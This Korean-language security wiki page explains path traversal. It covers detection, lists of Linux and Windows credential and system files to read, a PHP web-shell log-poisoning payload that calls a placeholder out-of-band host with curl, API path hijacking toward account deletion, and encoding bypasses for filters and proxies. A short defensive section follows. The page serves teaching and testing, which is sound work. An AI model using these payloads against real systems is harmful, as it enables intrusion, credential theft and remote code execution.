Path Traversal (Directory traversal)

Introduction

Path traversal(Directory traversal)은 서비스에서 사용자로부터 받은 입력이 path 형태의 백엔드에서 처리 로직을 가지는 경우, 이를 조작하여 공격자가 원하는 경로로 접근하여 동작을 수행하는 공격기법을 의미합니다.

보통 File을 처리하는 과정에서 가장 많이 발생하며, 파일 이름 등을 사용자로 부터 받는 경우 사용자가 ../ 같은 구문을 통해 상위 디렉토리로 접근하거나 허용된 디렉토리의 범위를 벗어나 시스템 파일 등을 읽을 수 있습니다.

Offensive techniques

Detect

웹 서비스에서 파라미터, 헤더 등의 사용자 요청이 서버에서 path 형태로 처리하는 부분은 모두 가능성이 존재합니다. 가장 쉽게 식별하는 방법은 아래와 같이 Response로 식별이 가능한 페이지를 요청하면서 ../ 등 특수문자의 처리 상태를 파악하는 방법입니다.

GET /download?filename=123.txt => (200 OK)
GET /download?filename=444.txt => (404 NotFound)
GET /download?filename=./123.txt => (200 OK)

위와 같은 경우 ./123.txt와 같이 path 형태로 호출했을 떄 정상적으로 처리됬기 때문에 2가지의 가능성을 가집니다.

  • 실제 path로 처리된 경우
  • 백엔드의 보안 로직으로 ./ 가 blank 처리된 경우

여기서 두번째 케이스를 다시 걸러내기 위해 아래와 비슷한 형태로 호출해봅니다.

GET /download?filename=./123.txt (200 OK)
GET /download?filename=..//123.txt (404 NotFound)

만약 ./가 blank 처리라면 ./는 날아아고, ./123.txt로 변하거나 또는 반복적으로 처리하도록 구성된 경우에도 결국 123.txt가 남기 때문에 blank 처리 로직이라면 200OK가 발생해야합니다. 단 위 예시에선 404가 발생했기 때문에 path 구문(../)을 처리한 것으로 보이고, 이는 어느정도 취약하다고 볼 수 있습니다.

Exploitation

Get system files

Path traversal이 가능하다고 판단되면 주요 시스템 파일을 읽어오거나 경로를 조작하여 서비스 액션이 다른 형태로 동작하도록 유도해야합니다. 일반적으로 시스템 파일을 읽는데 사용하는 경로는 아래와 같습니다.

Linux server

/etc/issue
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/[0-9]*/fd/[0-9]*   (first number is the PID, second is the filedescriptor)
/proc/self/environ
/proc/version
/proc/cmdline
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/self/cwd/index.php
/proc/self/cwd/main.py
/home/$USER/.bash_history
/home/$USER/.ssh/id_rsa
/run/secrets/kubernetes.io/serviceaccount/token
/run/secrets/kubernetes.io/serviceaccount/namespace
/run/secrets/kubernetes.io/serviceaccount/certificate
/var/run/secrets/kubernetes.io/serviceaccount
/var/lib/mlocate/mlocate.db
/var/lib/mlocate.db

Windows server

c:\windows\system32\license.rtf
c:\windows\system32\eula.txt
c:/boot.ini
c:/inetpub/logs/logfiles
c:/inetpub/wwwroot/global.asa
c:/inetpub/wwwroot/index.asp
c:/inetpub/wwwroot/web.config
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system32/inetsrv/metabase.xml
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system volume information/wpsettings.dat
c:/system32/inetsrv/metabase.xml
c:/unattend.txt
c:/unattend.xml
c:/unattended.txt
c:/unattended.xml
c:/windows/repair/sam
c:/windows/repair/system

RCE with Log poisoning

Path traversal이 가능한 서비스가 php, asp 등 별도의 라우팅 없이 확장자만으로 서버 사이드의 기능을 처리할 수 있는 환경에서 include() 함수 등으로 읽어오는 경우 Log poisoning과 조합하여 RCE까지 영향력을 이끌어 낼 수 있습니다. (일반적으로 이야기하는 LFI이죠.)

First request (log poisoning)

GET / HTTP/1.1
User-Agent: aa<?php echo system($_GET['cmd']); ?>bb

Second request (path traversal)

GET /file.php?path=/var/log/apache2/access.log?cmd=curl%20<OAST>/rce HTTP/1.1

API Path Manipulation

Custom Scheme, DeepLink, Reverse Proxy 구성 등 2 구간 이상에서 API 호출을 위해 연속적으로 요청이 발생하는 경우 Path Traversal을 통해 API 주소를 위조할 수 있습니다. 만약 아래와 같이 Custom scheme을 호출하는 경우 두번째 코드 블럭의 API가 발생한다고 가정합시다.

testapp://profile?id=4541
GET /users/4541/profile HTTP/1.1

이 때 id 파라미터에 Path traversal 구문을 이용하여 API Path를 변조하면 사용자의 세션을 이용하여 의도하지 않은 기능을 실행할 수 있게 됩니다.

testapp://profile?id=../manage/delete-account?
GET /users/../manage/delete-account?/profile HTTP/1.1

Relative Path Overwrite

[ Req ]
GET /page?sink=../../../upload/my_script.js

[ Res ]
...
<script src="asset/js/vendor/../../../upload/my_script.js"></script>
...

RPO(Relative Path Overwrite)에 대한 자세한 내용은 Cullinan > Relative Path Overwrite (RPO) 문서를 참고해주세요.

Bypass protection

Basic

../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216

16 bits Unicode encoding

. = %u002e
/ = %u2215
\ = %u2216

UTF-8 Unicode encoding

. = %c0%2e, %e0%40%ae, %c0ae
/ = %c0%af, %e0%80%af, %c0%2f
\ = %c0%5c, %c0%80%5c

Bypass “../” replaced by “”

..././
...\.\

Bypass “../” with “;”

..;/
http://domain.tld/page.jsp?include=..;/..;/sensitive.txt

Double URL encoding

. = %252e
/ = %252f
\ = %255c
http://localhost:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini

UNC Bypass

\\localhost\c$\windows\win.ini

NGINX/ALB Bypass

http://nginx-server/../../ => 400
http://nginx-server////////../../` => 200

Tomcat via reverse proxy mapping

Tomcat에선 경로에 /..;//../ 와 동일하게 매핑됩니다. 이를 이용하면 여러 Hop의 서비스 구조에서 Path traversal이 가능합니다.

location /api/ {
  proxy_pass http://internal_server/testapp/internal/api/
}
http://nginx-server/api/..;/..;/..;/docs/

Defensive techniques

이를 방어하기 위해서는 파일 등 Path를 처리하는 기능에서 사용자 입력을 받는 경우 ../ 등 임의 경로를 지정하지 못하도록 제한해야합니다. 보편적으로 2가지 정도의 대응방안을 사용합니다.

Escape

사용자 입력 구간에서 ../ 과 같이 Path를 바꿀 수 있는 특수문자 등에 대해서 처리하지 않도록 검증해야합니다. 검증에는 여러가지 방법이 있겠지만, 공통적인 부분은 . / 에 대한 제한과 인코딩 또한 처리될 수 있어 모두 디코딩 후 반복적으로 . / 를 제거하는 것을 많이 사용합니다.

물론 사용자의 컨트롤을 최소화하기 위해 사용자 입력이 path에 영향 줄 수 있는 부분을 줄이는 것도 좋습니다.

Permission (Only filesystem)

File 등의 접근의 경우 해당 프로세스가 이동할 수 있는 최대의 Directory를 지정해주는 것도 좋습니다. 이는 시스템 파일을 읽어오려는 시도에 대해서 강력하게 막을 수 있습니다. 다만 이 방법의 경우 우회 기법에 대해서는 안전한 편이지만 허용하는 디렉토리 내부에서는 파일을 읽어올 수 있고, File/Directory 관련 Traversal 공격에 대해서만 대응할 수 있다는 단점이 있습니다.

K/V 기반의 파일 시스템

AWS S3는 KV(Key/Value) 기반의 스토리지입니다. 이러한 스토리지들은 K에 매핑된 V를 가져오기 때문에 사전에 특정 K에 악의적인 V가 세팅되지 않는 한 일반적으로 Path traversal 공격에 대응할 수 있습니다.

Tools

  • https://github.com/wireghoul/dotdotpwn

Articles

  • https://www.hahwul.com/2019/09/23/path-traversal-pattern-of-dotdot-slash/
  • https://www.hahwul.com/2019/07/02/zap-send-any-tools/#send-to-ddpdotdotpwn
  • https://www.hahwul.com/2019/03/17/critical-vulnerability-in-action-view-of-ruby-rails/
  • https://www.hahwul.com/2016/05/02/web-hacking-dotdotpwn-path-traversal/

References

  • https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal